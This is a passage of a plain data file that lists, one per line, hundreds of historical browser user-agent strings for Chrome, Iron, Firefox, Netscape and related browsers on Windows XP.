Chrome/4.0.208.0 Safari/532.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.209.0 Safari/532.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.0 Safari/532.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.2 Safari/532.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.4 Safari/532.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.7 Safari/532.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.212.0 Safari/532.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML,like Gecko) Chrome/3.0.195.27\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.0 Safari/532.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.1 Safari/532.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.0 Safari/532.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.3 Safari/532.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.4 Safari/532.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.5 Safari/532.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.6 Safari/532.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.0 Safari/532.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.12 Safari/532.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.3 Safari/532.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.4 Safari/532.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.5 Safari/532.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.7 Safari/532.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.1 Safari/532.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.2 Safari/532.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.3 Safari/532.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.4 Safari/532.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.3 (KHTML, like Gecko) Iron/4.0.227.0 Chrome/4.0.227.0 Safari/532.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Comodo_Dragon/4.1.1.11 Chrome/4.1.249.1042 Safari/532.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.8 (KHTML, like Gecko) Chrome/4.0.288.1 Safari/532.8\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.8 (KHTML, like Gecko) Iron/4.0.275.2 Chrome/4.0.275.2 Safari/532.8\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Iron/4.0.280.0 Chrome/4.0.280.0 Safari/532.9\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.2 Safari/533.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.353.0 Safari/533.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.355.0 Safari/533.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.356.0 Safari/533.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.357.0 Safari/533.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.99 Safari/533.4 ChromePlus/1.4.1.0alpha1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.8 (KHTML, like Gecko) Chrome/6.0.397.0 Safari/533.8\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/7.0.548.0 Safari/534.10\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 ChromePlus/1.5.2.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) RockMelt/0.8.40.147 Chrome/8.0.552.231 Safari/534.10\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.0 Safari/534.13\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.15 Safari/534.13\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 ChromePlus/1.5.3.0alpha4\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.599.0 Safari/534.13\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Iron/9.0.600.2 Chrome/9.0.600.2 Safari/534.13\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/10.0.601.0 Safari/534.14\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/10.0.602.0 Safari/534.14\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/9.0.600.0 Safari/534.14\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.634.0 Safari/534.16\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) RockMelt/0.9.50.549 Chrome/10.0.648.205 Safari/534.16\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.18 (KHTML, like Gecko) Chrome/11.0.661.0 Safari/534.18\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.19 (KHTML, like Gecko) Chrome/11.0.661.0 Safari/534.19\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.21 (KHTML, like Gecko) Chrome/11.0.678.0 Safari/534.21\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.21 (KHTML, like Gecko) Chrome/11.0.682.0 Safari/534.21\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.458.1 Safari/534.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.461.0 Safari/534.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.53 Safari/534.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475 Safari/534\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/16113824.534\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/16219168.534\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/16489152.534\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/16496160.534\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/16502208.534\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/16510528.534\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/16528704.534\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/16547872.534\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/16560576.534\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/16679360.534\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/18035008.534\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/18468032.534\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/18507104.534\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/18641408.534\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/18712000.534\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/22870432.534\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/27364800.534\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/58913952.534\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/58914944.534\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/60287520.534\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/61182528.534\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/64697792.534\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/65297152.534\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/69220032.534\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/81276896.534\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.724.100 Safari/534.30\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.6 (KHTML, like Gecko) Chrome/7.0.500.0 Safari/534.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.514.0 Safari/534.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.41 Safari/534.7 ChromePlus/1.5.0.0 ChromePlus/1.5.0.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.41 Safari/534.7 ChromePlus/1.5.0.0alpha1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Flock/3.5.2.4599 Chrome/7.0.517.442 Safari/534.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Iron/7.0.520.0 Chrome/7.0.520.0 Safari/534.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Iron/7.0.520.1 Chrome/7.0.520.1 Safari/534.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Iron/7.0.520.1 Safari/534.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) RockMelt/0.8.36.116 Chrome/7.0.517.44 Safari/534.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) RockMelt/0.8.36.128 Chrome/7.0.517.44 Safari/534.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.9 (KHTML, like Gecko) Chrome/7.0.531.0 Safari/534.9\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) Gecko/20090305 Firefox/3.0.8\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) Gecko/2009032609 Firefox/3.0.8\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) Speedy Spider (http://www.entireweb.com/about/search_tech/speedy_spider/)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US)AppleWebKit/525.19 (KHTML, like Gecko) Iron/0.2.152.0 Safari/13657880.525\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; BOLT/2.340) AppleWebKit/530+ (KHTML, like Gecko) Version/4.0 Safari/530.17 UNTRUSTED/1.0 3gpp-gba\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; BOLT/2.800) AppleWebKit/534.6 (KHTML, like Gecko) Version/5.0 Safari/534.6.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; MEGAUPLOAD 1.0; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rrv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:0.9.2) Gecko/20010726 Netscape6/6.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:0.9.4) Gecko/20011019 Netscape6/6.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:0.9.4) Gecko/20011128 Netscape6/6.2.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:0.9.4.1) Gecko/20020508 Netscape6/6.2.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.0.0) Gecko/20020509\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.0.0) Gecko/20020530\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.0.1) Gecko/20020823 Netscape/7.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.0.1) Gecko/20020823 Netscape/7.0 (ax)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.0.1) Gecko/20020826\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.0.2) Gecko/20021120 Netscape/7.01\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.0.2) Gecko/20021216\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.0.2) Gecko/20030208 Netscape/7.02\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.0rc2) Gecko/20020512 Netscape/7.0b1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.0rc2) Gecko/20020618 Netscape/7.0b1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.1) Gecko/20020826\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.2) Gecko/20021126\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.2.1) Gecko/20021130\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.2b) Gecko/20020923 Phoenix/0.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.2b) Gecko/20021014 Phoenix/0.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.2b) Gecko/20021016\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.2b) Gecko/20021029 Phoenix/0.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.3) Gecko/20030312\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.3.1) Gecko/20030425\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.3a) Gecko/20021207 Phoenix/0.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.3a) Gecko/20021212\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.3b) Gecko/20030210\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4) Gecko/20030529\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4) Gecko/20030624\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4a) Gecko/20030401\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4a) Gecko/20030411 Phoenix/0.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4b) Gecko/20030427\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4b) Gecko/20030503 Mozilla Firebird/0.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4b) Gecko/20030507\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4b) Gecko/20030516 Mozilla Firebird/0.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4b) Gecko/20030615 Mozilla Firebird/0.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.5) Gecko/20030916\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.5) Gecko/20031007\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.5) Gecko/20031007 Firebird/0.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.5) Gecko/20031016 K-Meleon/0.8.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.5a) Gecko/20030630 Mozilla Firebird/0.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.5a) Gecko/20030702 Mozilla Firebird/0.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.5a) Gecko/20030718\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.5a) Gecko/20030728 Mozilla Firebird/0.6.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.5b) Gecko/20030819 Mozilla Firebird/0.6.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.5b) Gecko/20030827\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040206 Firefox/0.8\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040208 Firefox/3.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6a) Gecko/20031002 Firebird/0.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6a) Gecko/20031030\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6b) Gecko/20031212 Firebird/0.7+\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7) Gecko/20040514\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7) Gecko/20040614 Firefox/0.9\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7) Gecko/20040616\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7) Gecko/20040707 Firefox/0.9.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7) Gecko/20040803 Firefox/0.9.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.1) Gecko/20040707\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.10) Gecko/20050716\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.10) Gecko/20050716 Firefox/1.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.10) Gecko/20050716 Firefox/1.0.6 (ax)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.10) Gecko/20050716 Firefox/1.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.10) Gecko/20050717 Firefox/1.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.11) Gecko/20050728\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050610 K-Meleon/0.9\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050915\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7 (ax)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7 Paros/3.2.8\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050923 Thunderbird/1.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20051002\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.13) Gecko/20060410 Firefox/1.0.8\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.13) Gecko/20060414\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.2) Gecko/20040803\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.2) Gecko/20040804\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.2) Gecko/20040804 Netscape/7.2 (ax)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.3) Gecko/20040910\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20041107 Firefox/1.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20041107 Firefox/1.0 (ax)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20041210 Firefox/1.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20041217\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20041220 K-Meleon/0.9\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20050519 Netscape/8.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20050519 Netscape/8.0.1 FirePHP/0.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20050729 Netscape/8.0.3.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20050817 Netscape/8.0.3.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20051012 Netscape/8.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20060111 Netscape/8.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20060127 Netscape/8.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.6) Gecko/20050223 Firefox/1.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.6) Gecko/20050225\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.6) Gecko/20050225 Firefox/1.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.6) Gecko/20050225 Firefox/1.0.4 (ax)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.6) Gecko/20050317 Firefox/1.0.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.6) Gecko/20050317 Firefox/1.0.2 (ax)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.6) Gecko/20050317 Thunderbird/1.0.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.6) Gecko/20050319\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.7) Gecko/20050414\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.7) Gecko/20050414 Firefox/1.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.7) Gecko/20050414 Firefox/1.0.3 (ax)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.8) Gecko/20050511\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4 (ax)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.9) Gecko/20050711 Firefox/1.0.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.9) Gecko/20050711 Firefox/1.0.5 (ax)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7b) Gecko/20040421\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20051025 Firefox/1.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20051101 Firefox/1.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20051107 Firefox/1.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20051111 Firefox 1.5\nMozilla/5.0 (Windows; U; Windows 